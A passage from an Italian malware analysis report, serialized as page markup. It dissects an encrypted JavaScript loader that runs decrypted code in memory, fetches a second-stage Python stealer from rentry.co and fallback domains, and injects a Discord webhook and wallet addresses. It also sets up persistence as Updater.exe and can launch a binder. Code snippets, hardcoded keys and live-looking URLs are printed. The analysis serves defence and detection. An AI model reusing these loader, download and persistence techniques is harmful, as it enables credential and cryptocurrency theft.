decipher.final(\"utf8\");\n",[578,3173,3174,3203],{"__ignoreMap":529},[1704,3175,3176,3179,3182,3185,3188,3191,3194,3196,3198,3201],{"class":1706,"line":1707},[1704,3177,3178],{"class":3016},"let",[1704,3180,3181],{"class":3026}," decrypted ",[1704,3183,3184],{"class":3016},"=",[1704,3186,3187],{"class":3026}," decipher.",[1704,3189,3190],{"class":2791},"update",[1704,3192,3193],{"class":3026},"(encdata, ",[1704,3195,3052],{"class":2795},[1704,3197,646],{"class":3026},[1704,3199,3200],{"class":2795},"\"utf8\"",[1704,3202,3083],{"class":3026},[1704,3204,3205,3208,3211,3213,3216,3219,3221],{"class":1706,"line":530},[1704,3206,3207],{"class":3026},"decrypted ",[1704,3209,3210],{"class":3016},"+=",[1704,3212,3187],{"class":3026},[1704,3214,3215],{"class":2791},"final",[1704,3217,3218],{"class":3026},"(",[1704,3220,3200],{"class":2795},[1704,3222,3083],{"class":3026},[633,3224,3225,3228,3229,1199,3232,3253,3255],{},[567,3226,3227],{},"Esecuzione dinamica:","\nil codice JavaScript decifrato non viene mai scritto su disco. Viene invece eseguito dinamicamente in memoria tramite il costruttore ",[578,3230,3231],{},"Function",[615,3233,3235],{"className":3007,"code":3234,"language":3009,"meta":529,"style":529},"new Function(\"require\", decrypted)(require);\n",[578,3236,3237],{"__ignoreMap":529},[1704,3238,3239,3242,3245,3247,3250],{"class":1706,"line":1707},[1704,3240,3241],{"class":3016},"new",[1704,3243,3244],{"class":2791}," Function",[1704,3246,3218],{"class":3026},[1704,3248,3249],{"class":2795},"\"require\"",[1704,3251,3252],{"class":3026},", decrypted)(require);\n",[724,3254],{},"Questa tecnica abilita l'esecuzione fileless e riduce le probabilità di rilevamento da parte dei motori antivirus tradizionali, che si basano sulla scansione del disco.",[525,3257,3258],{},"Questo approccio dimostra una difesa a strati contro il reverse engineering, che combina derivazione della chiave, cifratura robusta ed esecuzione dinamica in memoria.",[525,3260,3261],{},[567,3262,3263],{},"Materiale di chiave e dati cifrati",[525,3265,3266],{},"Lo script include i seguenti input hardcoded:",[630,3268,3269,3275,3284,3292],{},[633,3270,3271,3274],{},[567,3272,3273],{},"Dati cifrati:"," un blob enorme codificato in Base64",[633,3276,3277,3280,3281],{},[567,3278,3279],{},"Master key:"," ",[578,3282,3283],{},"9uNXNGt8/7kN7ZiEvy1OdYNpbcnzkERs",[633,3285,3286,3280,3288,3291],{},[567,3287,3108],{},[578,3289,3290],{},"maXtklzMEZRY9dbul/XPSw=="," (codificato in Base64)",[633,3293,3294,3280,3297,3291],{},[567,3295,3296],{},"IV:",[578,3298,3299],{},"HwK6sOz7FBbL+YsrOxtYUg==",[525,3301,3302,3303,613],{},"Sono tutti incorporati direttamente nel codice sorgente di ",[578,3304,2833],{},[740,3306,3308],{"id":3307},"_62-comportamento-del-payload-dopo-la-decifratura","6.2 Comportamento del payload dopo la decifratura",[525,3310,746],{},[525,3312,3313],{},"Una volta decifrato, il payload incorporato diventa un programma JavaScript completo che compie le azioni malevole seguenti:",[887,3315,3317],{"id":3316},"_621-preparazione-dellambiente","6.2.1 Preparazione dell'ambiente",[525,3319,893],{},[525,3321,3322],{},"Il payload decifrato inizia predisponendo il proprio ambiente di esecuzione con i moduli integrati di Node.js. Questa fase di setup fa sì che tutti i percorsi e le directory di lavoro necessari siano definiti chiaramente prima che si verifichi qualsiasi comportamento malevolo.",[630,3324,3325,3358],{},[633,3326,3327,3330,3331,3334,3335],{},[567,3328,3329],{},"Risoluzione della directory temporanea:","\nil malware chiama ",[578,3332,3333],{},"os.tmpdir()"," per determinare il percorso della directory temporanea del sistema corrente. È una tattica comune per il malware, perché le cartelle temporanee sono in genere scrivibili e meno controllate dai sistemi di endpoint protection.",[615,3336,3338],{"className":3007,"code":3337,"language":3009,"meta":529,"style":529},"const tempDir = os.tmpdir();\n",[578,3339,3340],{"__ignoreMap":529},[1704,3341,3342,3344,3347,3349,3352,3355],{"class":1706,"line":1707},[1704,3343,3017],{"class":3016},[1704,3345,3346],{"class":2799}," tempDir",[1704,3348,3023],{"class":3016},[1704,3350,3351],{"class":3026}," os.",[1704,3353,3354],{"class":2791},"tmpdir",[1704,3356,3357],{"class":3026},"();\n",[633,3359,3360,3363,3364,3377],{},[567,3361,3362],{},"Costruzione dei percorsi:","\nlo script costruisce poi i percorsi assoluti di due file importanti:",[630,3365,3366,3371],{},[633,3367,3368,3370],{},[578,3369,2894],{},": l'archivio che contiene il vero stealer di secondo stadio basato su Python",[633,3372,3373,3376],{},[578,3374,3375],{},"bnd.exe",": un eseguibile opzionale che può fare da backdoor di persistenza o da payload aggiuntivo",[615,3378,3380],{"className":3007,"code":3379,"language":3009,"meta":529,"style":529},"const tempFile = path.join(tempDir, \"pyth.zip\");\nconst binderFile = path.join(tempDir, \"bnd.exe\");\n",[578,3381,3382,3405],{"__ignoreMap":529},[1704,3383,3384,3386,3389,3391,3394,3397,3400,3403],{"class":1706,"line":1707},[1704,3385,3017],{"class":3016},[1704,3387,3388],{"class":2799}," tempFile",[1704,3390,3023],{"class":3016},[1704,3392,3393],{"class":3026}," path.",[1704,3395,3396],{"class":2791},"join",[1704,3398,3399],{"class":3026},"(tempDir, ",[1704,3401,3402],{"class":2795},"\"pyth.zip\"",[1704,3404,3083],{"class":3026},[1704,3406,3407,3409,3412,3414,3416,3418,3420,3423],{"class":1706,"line":530},[1704,3408,3017],{"class":3016},[1704,3410,3411],{"class":2799}," binderFile",[1704,3413,3023],{"class":3016},[1704,3415,3393],{"class":3026},[1704,3417,3396],{"class":2791},[1704,3419,3399],{"class":3026},[1704,3421,3422],{"class":2795},"\"bnd.exe\"",[1704,3424,3083],{"class":3026},[525,3426,3427],{},"Questa impostazione dei percorsi astrae la sintassi specifica del sistema operativo e permette al malware di operare senza attriti su qualsiasi sistema Windows. Prepara anche il terreno per i meccanismi di download e scompattamento che seguono.",[887,3429,3431],{"id":3430},"_622-download-del-payload-con-strategia-di-fallback","6.2.2 Download del payload con strategia di fallback",[525,3433,893],{},[525,3435,3436],{},"La seconda fase importante del payload JavaScript decifrato consiste nello scaricare un archivio ZIP malevolo da fonti remote. Questo meccanismo è progettato con una strategia di fallback su più livelli, per aumentare resilienza e disponibilità.",[630,3438,3439,3471,3556,3590],{},[633,3440,3441,3444,3445,3465,3467,3468,3470],{},[567,3442,3443],{},"Risoluzione del link primario tramite Rentry.co","\nlo script inizia risolvendo un URL dinamico da un servizio di paste testuale. Invia una richiesta GET a:",[615,3446,3448],{"className":3007,"code":3447,"language":3009,"meta":529,"style":529},"const url = \"https://rentry.co/7vzd22fg36hfdd33/raw\";\n",[578,3449,3450],{"__ignoreMap":529},[1704,3451,3452,3454,3457,3459,3462],{"class":1706,"line":1707},[1704,3453,3017],{"class":3016},[1704,3455,3456],{"class":2799}," url",[1704,3458,3023],{"class":3016},[1704,3460,3461],{"class":2795}," \"https://rentry.co/7vzd22fg36hfdd33/raw\"",[1704,3463,3464],{"class":3026},";\n",[724,3466],{},"Questa restituisce una stringa URL in chiaro che punta alla posizione reale dell'archivio ",[578,3469,2894],{},". Usare un meccanismo di reindirizzamento di questo tipo è una tecnica di offuscamento comune, perché astrae l'URL malevolo reale e rende più difficile il rilevamento statico.",[633,3472,3473,3476,3477,3509,3511,3512,3514,3515,3549,3551,3552,3555],{},[567,3474,3475],{},"Esecuzione del download","\nl'URL risolto viene poi richiesto tramite la libreria Axios con uno stream di risposta:",[615,3478,3480],{"className":3007,"code":3479,"language":3009,"meta":529,"style":529},"const fileResponse = await axios.get(fileUrl, { responseType: \"stream\" });\n",[578,3481,3482],{"__ignoreMap":529},[1704,3483,3484,3486,3489,3491,3494,3497,3500,3503,3506],{"class":1706,"line":1707},[1704,3485,3017],{"class":3016},[1704,3487,3488],{"class":2799}," fileResponse",[1704,3490,3023],{"class":3016},[1704,3492,3493],{"class":3016}," await",[1704,3495,3496],{"class":3026}," axios.",[1704,3498,3499],{"class":2791},"get",[1704,3501,3502],{"class":3026},"(fileUrl, { responseType: ",[1704,3504,3505],{"class":2795},"\"stream\"",[1704,3507,3508],{"class":3026}," });\n",[724,3510],{},"Il file viene scritto su disco come ",[578,3513,2894],{}," nella directory temp del sistema:",[615,3516,3518],{"className":3007,"code":3517,"language":3009,"meta":529,"style":529},"const writer = fs.createWriteStream(tempFile);\nfileResponse.data.pipe(writer);\n",[578,3519,3520,3538],{"__ignoreMap":529},[1704,3521,3522,3524,3527,3529,3532,3535],{"class":1706,"line":1707},[1704,3523,3017],{"class":3016},[1704,3525,3526],{"class":2799}," writer",[1704,3528,3023],{"class":3016},[1704,3530,3531],{"class":3026}," fs.",[1704,3533,3534],{"class":2791},"createWriteStream",[1704,3536,3537],{"class":3026},"(tempFile);\n",[1704,3539,3540,3543,3546],{"class":1706,"line":530},[1704,3541,3542],{"class":3026},"fileResponse.data.",[1704,3544,3545],{"class":2791},"pipe",[1704,3547,3548],{"class":3026},"(writer);\n",[724,3550],{},"Questo download è incapsulato in una ",[578,3553,3554],{},"Promise"," per garantirne il completamento sincrono prima che venga eseguita la logica successiva.",[633,3557,3558,3561,3562,3587,3589],{},[567,3559,3560],{},"URL di fallback","\nse il link basato su Rentry non funziona, lo script tenta posizioni di backup hardcoded:",[615,3563,3565],{"className":3007,"code":3564,"language":3009,"meta":529,"style":529},"https://cosmicdust.zip/.well-known/pki-validation/pyth.zip\nhttps://cosmoplanets.net/well-known/pki-validation/pyth.zip\n",[578,3566,3567,3578],{"__ignoreMap":529},[1704,3568,3569,3572,3574],{"class":1706,"line":1707},[1704,3570,3571],{"class":2791},"https",[1704,3573,1199],{"class":3026},[1704,3575,3577],{"class":3576},"sJ8bj","//cosmicdust.zip/.well-known/pki-validation/pyth.zip\n",[1704,3579,3580,3582,3584],{"class":1706,"line":530},[1704,3581,3571],{"class":2791},[1704,3583,1199],{"class":3026},[1704,3585,3586],{"class":3576},"//cosmoplanets.net/well-known/pki-validation/pyth.zip\n",[724,3588],{},"Questi domini sono strutturati per sembrare parte delle cartelle standard di validazione TLS, forse imitando i percorsi di Let's Encrypt o di domain validation per attirare meno sospetti. Ogni fallback viene ritentato con la stessa logica di streaming e scrittura su file.",[633,3591,3592,3595,3596,3599],{},[567,3593,3594],{},"Robustezza e offuscamento","\nquesto meccanismo di fallback garantisce al malware più percorsi di recupero per il payload di secondo stadio. L'uso di un puntatore dinamico (",[578,3597,3598],{},"rentry.co",") e di più mirror di failover rende il malware più resistente a takedown, blocchi e sinkhole DNS.",[525,3601,3602],{},"Questa fase mostra un'attenta pianificazione operativa da parte degli autori del malware, con ridondanza a strati e un'infrastruttura di delivery ben camuffata.",[630,3604,3605,3611],{},[633,3606,3607,3608,3610],{},"Scarica ",[578,3609,2894],{}," dall'URL risolto",[633,3612,3613,3614],{},"Se non riesce, tenta i mirror di fallback:\n",[630,3615,3616,3621],{},[633,3617,3618],{},[578,3619,3620],{},"https://cosmicdust.zip/.well-known/pki-validation/pyth.zip",[633,3622,3623],{},[578,3624,3625],{},"https://cosmoplanets.net/well-known/pki-validation/pyth.zip",[887,3627,3629],{"id":3628},"_623-estrazione-e-manipolazione-del-payload","6.2.3 Estrazione e manipolazione del payload",[525,3631,893],{},[525,3633,3634,3635,3637,3638,3640],{},"Una volta scaricato con successo l'archivio ",[578,3636,2894],{}," e salvato su disco, il malware procede a estrarne il contenuto e a prepararlo per l'esecuzione. Lo fa con la libreria Node.js ",[578,3639,2866],{},", che permette la gestione programmatica dei file ZIP.",[630,3642,3643,3691,3718],{},[633,3644,3645,3648,3685,3687,3688,3690],{},[567,3646,3647],{},"Estrazione dello ZIP:",[615,3649,3651],{"className":3007,"code":3650,"language":3009,"meta":529,"style":529},"const zip = new AdmZip(tempFile);\nzip.extractAllTo(tempDir, true);\n",[578,3652,3653,3670],{"__ignoreMap":529},[1704,3654,3655,3657,3660,3662,3665,3668],{"class":1706,"line":1707},[1704,3656,3017],{"class":3016},[1704,3658,3659],{"class":2799}," zip",[1704,3661,3023],{"class":3016},[1704,3663,3664],{"class":3016}," new",[1704,3666,3667],{"class":2791}," AdmZip",[1704,3669,3537],{"class":3026},[1704,3671,3672,3675,3678,3680,3683],{"class":1706,"line":530},[1704,3673,3674],{"class":3026},"zip.",[1704,3676,3677],{"class":2791},"extractAllTo",[1704,3679,3399],{"class":3026},[1704,3681,3682],{"class":2799},"true",[1704,3684,3083],{"class":3026},[724,3686],{},"Questo estrae tutto il contenuto dell'archivio nella directory temporanea del sistema. Il flag ",[578,3689,3682],{}," garantisce la sovrascrittura di eventuali file esistenti.",[633,3692,3693,3696,3697,3699,3700],{},[567,3694,3695],{},"Contenuto dell'archivio:","\nl'archivio ",[578,3698,2894],{}," include un progetto Python completamente impacchettato, con:",[630,3701,3702,3705,3708],{},[633,3703,3704],{},"Una struttura di directory che somiglia a un pacchetto Python legittimo",[633,3706,3707],{},"Diversi moduli e dipendenze Python",[633,3709,3710,3711,3713,3714,3717],{},"Il file chiave ",[578,3712,609],{},", collocato in ",[578,3715,3716],{},"Crypto/Util/astor.py",", che è il payload principale dello stealer",[633,3719,3720,3723,3724,3726,3727,3747],{},[567,3721,3722],{},"Sostituzione dei placeholder:","\nil malware effettua una sostituzione dinamica di placeholder predefiniti all'interno di ",[578,3725,609],{}," per iniettare dati di configurazione controllati dall'attaccante, come:",[630,3728,3729,3732,3735,3741],{},[633,3730,3731],{},"Un URL di webhook Discord",[633,3733,3734],{},"Indirizzi di wallet di criptovalute (BTC, ETH, DOGE, LTC, XMR, ecc.)",[633,3736,3737,3738,1138],{},"Un identificativo utente (",[578,3739,3740],{},"%USERID%",[633,3742,3743,3744,1138],{},"Un flag di stato di errore (",[578,3745,3746],{},"%ERRORSTATUS%",[615,3748,3750],{"className":3007,"code":3749,"language":3009,"meta":529,"style":529},"fs.readFile(extractedDir + \"\\Crypto\\Util\\astor.py\", 'utf8', (err, data) => {\n  let updatedFile = data\n    .replace(\"%DISCORD%\", \u003Cwebhook>)\n    .replace(\"%ADDRESSBTC%\", \u003Cbtc_address>)\n    ...\n    .replace(\"%ERRORSTATUS%\", displayError ? \"true\" : \"false\");\n\n  fs.writeFile(extractedDir + \"\\Crypto\\Util\\astor.py\", updatedFile, 'utf8');\n});\n",[578,3751,3752,3813,3826,3849,3859,3864,3869,3874,3880],{"__ignoreMap":529},[1704,3753,3754,3757,3760,3763,3766,3769,3772,3775,3778,3781,3784,3787,3789,3792,3795,3799,3801,3804,3807,3810],{"class":1706,"line":1707},[1704,3755,3756],{"class":3026},"fs.",[1704,3758,3759],{"class":2791},"readFile",[1704,3761,3762],{"class":3026},"(extractedDir ",[1704,3764,3765],{"class":3016},"+",[1704,3767,3768],{"class":2795}," \"",[1704,3770,3771],{"class":2799},"\\C",[1704,3773,3774],{"class":2795},"rypto",[1704,3776,3777],{"class":2799},"\\U",[1704,3779,3780],{"class":2795},"til",[1704,3782,3783],{"class":2799},"\\a",[1704,3785,3786],{"class":2795},"stor.py\"",[1704,3788,646],{"class":3026},[1704,3790,3791],{"class":2795},"'utf8'",[1704,3793,3794],{"class":3026},", (",[1704,3796,3798],{"class":3797},"s4XuR","err",[1704,3800,646],{"class":3026},[1704,3802,3803],{"class":3797},"data",[1704,3805,3806],{"class":3026},") ",[1704,3808,3809],{"class":3016},"=>",[1704,3811,3812],{"class":3026}," {\n",[1704,3814,3815,3818,3821,3823],{"class":1706,"line":530},[1704,3816,3817],{"class":3016},"  let",[1704,3819,3820],{"class":3026}," updatedFile ",[1704,3822,3184],{"class":3016},[1704,3824,3825],{"class":3026}," data\n",[1704,3827,3828,3831,3834,3836,3839,3842,3846],{"class":1706,"line":2088},[1704,3829,3830],{"class":3026},"    .",[1704,3832,3833],{"class":2791},"replace",[1704,3835,3218],{"class":3026},[1704,3837,3838],{"class":2795},"\"%DISCORD%\"",[1704,3840,3841],{"class":3026},", \u003C",[1704,3843,3845],{"class":3844},"s9eBZ","webhook",[1704,3847,3848],{"class":3026},">)\n",[1704,3850,3851,3854,3857],{"class":1706,"line":2094},[1704,3852,3853],{"class":3026},"    .replace(\"%ADDRESSBTC%\", \u003C",[1704,3855,3856],{"class":2799},"btc_address",[1704,3858,3848],{"class":3026},[1704,3860,3861],{"class":1706,"line":2415},[1704,3862,3863],{"class":3026},"    ...\n",[1704,3865,3866],{"class":1706,"line":2421},[1704,3867,3868],{"class":3026},"    .replace(\"%ERRORSTATUS%\", displayError ? \"true\" : \"false\");\n",[1704,3870,3871],{"class":1706,"line":3080},[1704,3872,3873],{"emptyLinePlaceholder":325},"\n",[1704,3875,3877],{"class":1706,"line":3876},8,[1704,3878,3879],{"class":3026},"  fs.writeFile(extractedDir + \"\\Crypto\\Util\\astor.py\", updatedFile, 'utf8');\n",[1704,3881,3883],{"class":1706,"line":3882},9,[1704,3884,3885],{"class":3026},"});\n",[525,3887,3888],{},"Questa fase di manipolazione dinamica è essenziale. Rinviando a runtime l'inserimento dei valori controllati dall'attaccante, il payload evita il rilevamento statico e permette all'operatore di adattare target ed endpoint di esfiltrazione senza reimpacchettare l'archivio.",[630,3890,3891],{},[633,3892,3893,3894,3896,3897],{},"Sostituisce le stringhe placeholder in ",[578,3895,609],{},":\n",[630,3898,3899,3905,3915],{},[633,3900,3901,3902],{},"Webhook Discord: ",[578,3903,3904],{},"%DISCORD%",[633,3906,3907,3908,646,3911,3914],{},"Indirizzi di wallet: ",[578,3909,3910],{},"%ADDRESSBTC%",[578,3912,3913],{},"%ADDRESSETH%",", ecc.",[633,3916,3917],{},"ID utente e flag di errore",[887,3919,3921],{"id":3920},"_624-esecuzione-del-malware","6.2.4 Esecuzione del malware",[525,3923,893],{},[630,3925,3926],{},[633,3927,3928,3929],{},"Completata l'iniezione dei placeholder in astor.py, il malware avvia l'esecuzione dello stealer tramite una chiamata di sistema",[615,3930,3932],{"className":3007,"code":3931,"language":3009,"meta":529,"style":529},"exec(\"python.exe Crypto\\\\Util\\\\astor.py\");\n",[578,3933,3934],{"__ignoreMap":529},[1704,3935,3936,3939,3941,3944,3947,3950,3952,3955],{"class":1706,"line":1707},[1704,3937,3938],{"class":2791},"exec",[1704,3940,3218],{"class":3026},[1704,3942,3943],{"class":2795},"\"python.exe Crypto",[1704,3945,3946],{"class":2799},"\\\\",[1704,3948,3949],{"class":2795},"Util",[1704,3951,3946],{"class":2799},[1704,3953,3954],{"class":2795},"astor.py\"",[1704,3956,3083],{"class":3026},[525,3958,3959],{},"Questo comando viene eseguito con la funzione child_process.exec di Node.js e avvia il payload Python incorporato in un processo separato. Questo specifico pattern di esecuzione, python.exe con l'argomento Crypto\\Util\\astor.py, è stato osservato nei dati di telemetria raccolti da Microsoft Defender for Endpoint, il che lo rende un artefatto di rilevamento affidabile. In pratica la catena di esecuzione si presenta così:",[525,3961,3962],{},"L'intera catena di esecuzione del malware, come osservata nella telemetria di Microsoft Defender for Endpoint, segue questa sequenza:",[630,3964,3965,3973,3980,3987],{},[633,3966,3967,3969,3970],{},[578,3968,605],{}," (contenitore basato su Electron) invoca ",[578,3971,3972],{},"node.exe",[633,3974,3975,3977,3978],{},[578,3976,3972],{}," avvia ",[578,3979,1127],{},[633,3981,3982,3984,3985],{},[578,3983,1127],{}," lancia ",[578,3986,580],{},[633,3988,3989,3991,3992],{},[578,3990,580],{}," esegue il file ",[578,3993,1137],{},[887,3995,3997],{"id":3996},"_625-rafforzamento-della-persistenza","6.2.5 Rafforzamento della persistenza",[525,3999,893],{},[525,4001,4002,4003,4005],{},"Per garantirsi una presenza di lungo periodo sul sistema infetto, il payload JavaScript decifrato include una logica che ristabilisce la persistenza copiando la binary iniziale (",[578,4004,601],{},") in una posizione nascosta all'interno del profilo utente.",[525,4007,4008],{},[567,4009,4010],{},"Directory di destinazione",[525,4012,4013],{},"Il file viene copiato in una directory che imita componenti Windows legittimi:",[615,4015,4017],{"className":3007,"code":4016,"language":3009,"meta":529,"style":529},"%APPDATA%\\Microsoft\\Internet Explorer\\UserData\\Updater.exe\n",[578,4018,4019],{"__ignoreMap":529},[1704,4020,4021,4024,4027,4029],{"class":1706,"line":1707},[1704,4022,4023],{"class":3016},"%",[1704,4025,4026],{"class":2799},"APPDATA",[1704,4028,4023],{"class":3016},[1704,4030,4031],{"class":3026},"\\Microsoft\\Internet Explorer\\UserData\\Updater.exe\n",[525,4033,4034],{},"Questa posizione è scelta di proposito:",[630,4036,4037,4040],{},[633,4038,4039],{},"%APPDATA% è scrivibile dagli utenti normali e non richiede privilegi amministrativi.",[633,4041,4042],{},"Il nome della directory imita le cartelle di applicazioni Microsoft legittime, quindi attira meno sospetti.",[525,4044,4045],{},[567,4046,4047],{},"Meccanismo di copia:",[525,4049,4050],{},"L'operazione di copia usa la funzione fs.copyFileSync() di Node.js:",[615,4052,4054],{"className":3007,"code":4053,"language":3009,"meta":529,"style":529},"fs.copyFileSync(\n  process.env.PORTABLE_EXECUTABLE_FILE,\n  path.join(\n    process.env.APPDATA,\n    \"Microsoft\",\n    \"Internet Explorer\",\n    \"UserData\",\n    \"Updater.exe\",\n  ),\n);\n",[578,4055,4056,4065,4075,4084,4093,4100,4107,4114,4121,4126],{"__ignoreMap":529},[1704,4057,4058,4060,4063],{"class":1706,"line":1707},[1704,4059,3756],{"class":3026},[1704,4061,4062],{"class":2791},"copyFileSync",[1704,4064,3033],{"class":3026},[1704,4066,4067,4070,4073],{"class":1706,"line":530},[1704,4068,4069],{"class":3026},"  process.env.",[1704,4071,4072],{"class":2799},"PORTABLE_EXECUTABLE_FILE",[1704,4074,3063],{"class":3026},[1704,4076,4077,4080,4082],{"class":1706,"line":2088},[1704,4078,4079],{"class":3026},"  path.",[1704,4081,3396],{"class":2791},[1704,4083,3033],{"class":3026},[1704,4085,4086,4089,4091],{"class":1706,"line":2094},[1704,4087,4088],{"class":3026},"    process.env.",[1704,4090,4026],{"class":2799},[1704,4092,3063],{"class":3026},[1704,4094,4095,4098],{"class":1706,"line":2415},[1704,4096,4097],{"class":2795},"    \"Microsoft\"",[1704,4099,3063],{"class":3026},[1704,4101,4102,4105],{"class":1706,"line":2421},[1704,4103,4104],{"class":2795},"    \"Internet Explorer\"",[1704,4106,3063],{"class":3026},[1704,4108,4109,4112],{"class":1706,"line":3080},[1704,4110,4111],{"class":2795},"    \"UserData\"",[1704,4113,3063],{"class":3026},[1704,4115,4116,4119],{"class":1706,"line":3876},[1704,4117,4118],{"class":2795},"    \"Updater.exe\"",[1704,4120,3063],{"class":3026},[1704,4122,4123],{"class":1706,"line":3882},[1704,4124,4125],{"class":3026},"  ),\n",[1704,4127,4129],{"class":1706,"line":4128},10,[1704,4130,3083],{"class":3026},[630,4132,4133,4136],{},[633,4134,4135],{},"PORTABLE_EXECUTABLE_FILE è una variabile d'ambiente impostata automaticamente da molti packer (come Electron) per riferirsi al percorso della binary in esecuzione.",[633,4137,4138],{},"path.join(...) costruisce un percorso di destinazione completo e valido su sistemi operativi diversi.",[525,4140,4141],{},"Questa logica viene eseguita solo se il file non è già presente, e agisce quindi da meccanismo di autoriparazione per ripristinare il dropper in caso di cancellazione.",[525,4143,4144,4147],{},[567,4145,4146],{},"Ruolo nella catena di malware","\nLa presenza di questa copia di Updater.exe garantisce che:",[630,4149,4150,4153],{},[633,4151,4152],{},"Il loader possa riattivarsi da sé attraverso i riavvii del sistema.",[633,4154,4155],{},"L'intera catena di infezione (che porta a main.exe, node.exe e infine ad astor.py) possa ripartire senza affidarsi ai tradizionali meccanismi di persistenza nel registro, che hanno più probabilità di essere monitorati.",[887,4157,4159],{"id":4158},"_626-esecuzione-opzionale-del-binder","6.2.6 Esecuzione opzionale del binder",[525,4161,893],{},[525,4163,4164,4165,4167],{},"Oltre a scaricare ed eseguire il payload principale dello stealer (",[578,4166,609],{},"), il JavaScript decifrato contiene anche una logica per scaricare e avviare facoltativamente un eseguibile secondario chiamato \"binder\". Questo componente può servire per la persistenza, come diversione o per distribuire moduli di malware aggiuntivi.",[525,4169,4170],{},[567,4171,4172],{},"Esecuzione condizionale",[525,4174,4175],{},"La logica del binder si attiva solo se è impostato un flag specifico:",[615,4177,4179],{"className":3007,"code":4178,"language":3009,"meta":529,"style":529},"enableBinder = true;\n",[578,4180,4181],{"__ignoreMap":529},[1704,4182,4183,4186,4188,4191],{"class":1706,"line":1707},[1704,4184,4185],{"class":3026},"enableBinder ",[1704,4187,3184],{"class":3016},[1704,4189,4190],{"class":2799}," true",[1704,4192,3464],{"class":3026},[525,4194,4195,4196,4199],{},"Nel sample analizzato questo valore era impostato su ",[578,4197,4198],{},"false"," per default, ma la logica resta incorporata nel payload e può essere abilitata senza difficoltà in una campagna o variante diversa.",[525,4201,4202],{},[567,4203,4204],{},"Logica di download del binder",[525,4206,4207,4208,1199],{},"Se attivata, lo script tenta di prelevare una binary esterna da un URL definito dal placeholder ",[578,4209,4210],{},"%BINDERURL%",[615,4212,4214],{"className":3007,"code":4213,"language":3009,"meta":529,"style":529},"const fileUrl = \"%BINDERURL%\";\nconst fileResponse = await axios.get(fileUrl, { responseType: \"stream\" });\nconst writer = fs.createWriteStream(binderFile);\nfileResponse.data.pipe(writer);\n",[578,4215,4216,4230,4250,4265],{"__ignoreMap":529},[1704,4217,4218,4220,4223,4225,4228],{"class":1706,"line":1707},[1704,4219,3017],{"class":3016},[1704,4221,4222],{"class":2799}," fileUrl",[1704,4224,3023],{"class":3016},[1704,4226,4227],{"class":2795}," \"%BINDERURL%\"",[1704,4229,3464],{"class":3026},[1704,4231,4232,4234,4236,4238,4240,4242,4244,4246,4248],{"class":1706,"line":530},[1704,4233,3017],{"class":3016},[1704,4235,3488],{"class":2799},[1704,4237,3023],{"class":3016},[1704,4239,3493],{"class":3016},[1704,4241,3496],{"class":3026},[1704,4243,3499],{"class":2791},[1704,4245,3502],{"class":3026},[1704,4247,3505],{"class":2795},[1704,4249,3508],{"class":3026},[1704,4251,4252,4254,4256,4258,4260,4262],{"class":1706,"line":2088},[1704,4253,3017],{"class":3016},[1704,4255,3526],{"class":2799},[1704,4257,3023],{"class":3016},[1704,4259,3531],{"class":3026},[1704,4261,3534],{"class":2791},[1704,4263,4264],{"class":3026},"(binderFile);\n",[1704,4266,4267,4269,4271],{"class":1706,"line":2094},[1704,4268,3542],{"class":3026},[1704,4270,3545],{"class":2791},[1704,4272,3548],{"class":3026},[630,4274,4275,4281],{},[633,4276,4277,4278,4280],{},"Il file ",[578,4279,3375],{}," viene salvato nella directory temporanea del sistema.",[633,4282,4283,4284,4286],{},"Come ",[578,4285,2894],{},", la binary viene scaricata con Axios in modalità stream, per non caricare in memoria l'intera binary.",[525,4288,4289],{},[567,4290,4291],{},"Strategia di esecuzione",[525,4293,4294,4295,4297],{},"Dopo un download riuscito, lo script invoca la binary scaricata tramite ",[578,4296,1127],{},", assicurandosi che venga eseguita in un nuovo contesto di shell:",[615,4299,4301],{"className":3007,"code":4300,"language":3009,"meta":529,"style":529},"exec(`start cmd /c start ${binderFile}`, ...);\n",[578,4302,4303],{"__ignoreMap":529},[1704,4304,4305,4307,4309,4312,4315,4318,4320,4323],{"class":1706,"line":1707},[1704,4306,3938],{"class":2791},[1704,4308,3218],{"class":3026},[1704,4310,4311],{"class":2795},"`start cmd /c start ${",[1704,4313,4314],{"class":3026},"binderFile",[1704,4316,4317],{"class":2795},"}`",[1704,4319,646],{"class":3026},[1704,4321,4322],{"class":3016},"...",[1704,4324,3083],{"class":3026},[525,4326,4327],{},"Per aumentare l'affidabilità, lo script include una logica di retry:",[615,4329,4331],{"className":3007,"code":4330,"language":3009,"meta":529,"style":529},"setTimeout(() => {\n  exec(...);\n}, 5000);\n",[578,4332,4333,4345,4356],{"__ignoreMap":529},[1704,4334,4335,4338,4341,4343],{"class":1706,"line":1707},[1704,4336,4337],{"class":2791},"setTimeout",[1704,4339,4340],{"class":3026},"(() ",[1704,4342,3809],{"class":3016},[1704,4344,3812],{"class":3026},[1704,4346,4347,4350,4352,4354],{"class":1706,"line":530},[1704,4348,4349],{"class":2791},"  exec",[1704,4351,3218],{"class":3026},[1704,4353,4322],{"class":3016},[1704,4355,3083],{"class":3026},[1704,4357,4358,4361,4364],{"class":1706,"line":2088},[1704,4359,4360],{"class":3026},"}, ",[1704,4362,4363],{"class":2799},"5000",[1704,4365,3083],{"class":3026},[525,4367,4368],{},"Questo garantisce che, anche se la prima esecuzione fallisce (per esempio a causa del carico di sistema o di race condition), il malware ritenti l'avvio della binary dopo una breve attesa.",[525,4370,4371],{},[567,4372,4373],{},"Casi d'uso del binder",[525,4375,4376],{},"Anche se lo scopo esatto della binary del binder non emerge in questo particolare sample (per via dell'URL placeholder), componenti di questo tipo sono comunemente usati per:",[630,4378,4379,4382,4385,4388],{},[633,4380,4381],{},"Reinstallare o riavviare i componenti principali del malware",[633,4383,4384],{},"Mostrare falsi installer o applicazioni di facciata",[633,4386,4387],{},"Distribuire ulteriore spyware, backdoor o ransomware",[633,4389,4390],{},"Modificare le impostazioni di sistema o disattivare funzioni di sicurezza",[740,4392,4394],{"id":4393},"_63-sintesi","6.3 Sintesi",[525,4396,746],{},[525,4398,4399,4401],{},[578,4400,2833],{}," è un loader JavaScript fortemente offuscato e cifrato, che usa crittografia standard di settore (PBKDF2 + AES-256-CBC) per proteggere il suo vero scopo. Una volta decifrato opera come loader di secondo stadio a tutti gli effetti, capace di:",[630,4403,4404,4409,4412,4417],{},[633,4405,4406,4407,1138],{},"Recuperare ulteriore malware (",[578,4408,2894],{},[633,4410,4411],{},"Modificare dinamicamente il comportamento del payload",[633,4413,4414,4415,1138],{},"Avviare il vero script di stealer (",[578,4416,609],{},[633,4418,4419,4420],{},"Rafforzare la persistenza ripristinando ",[578,4421,601],{},[525,4423,4424,4425,4428],{},"La sua combinazione di cifratura, esecuzione dinamica, recupero modulare del payload e 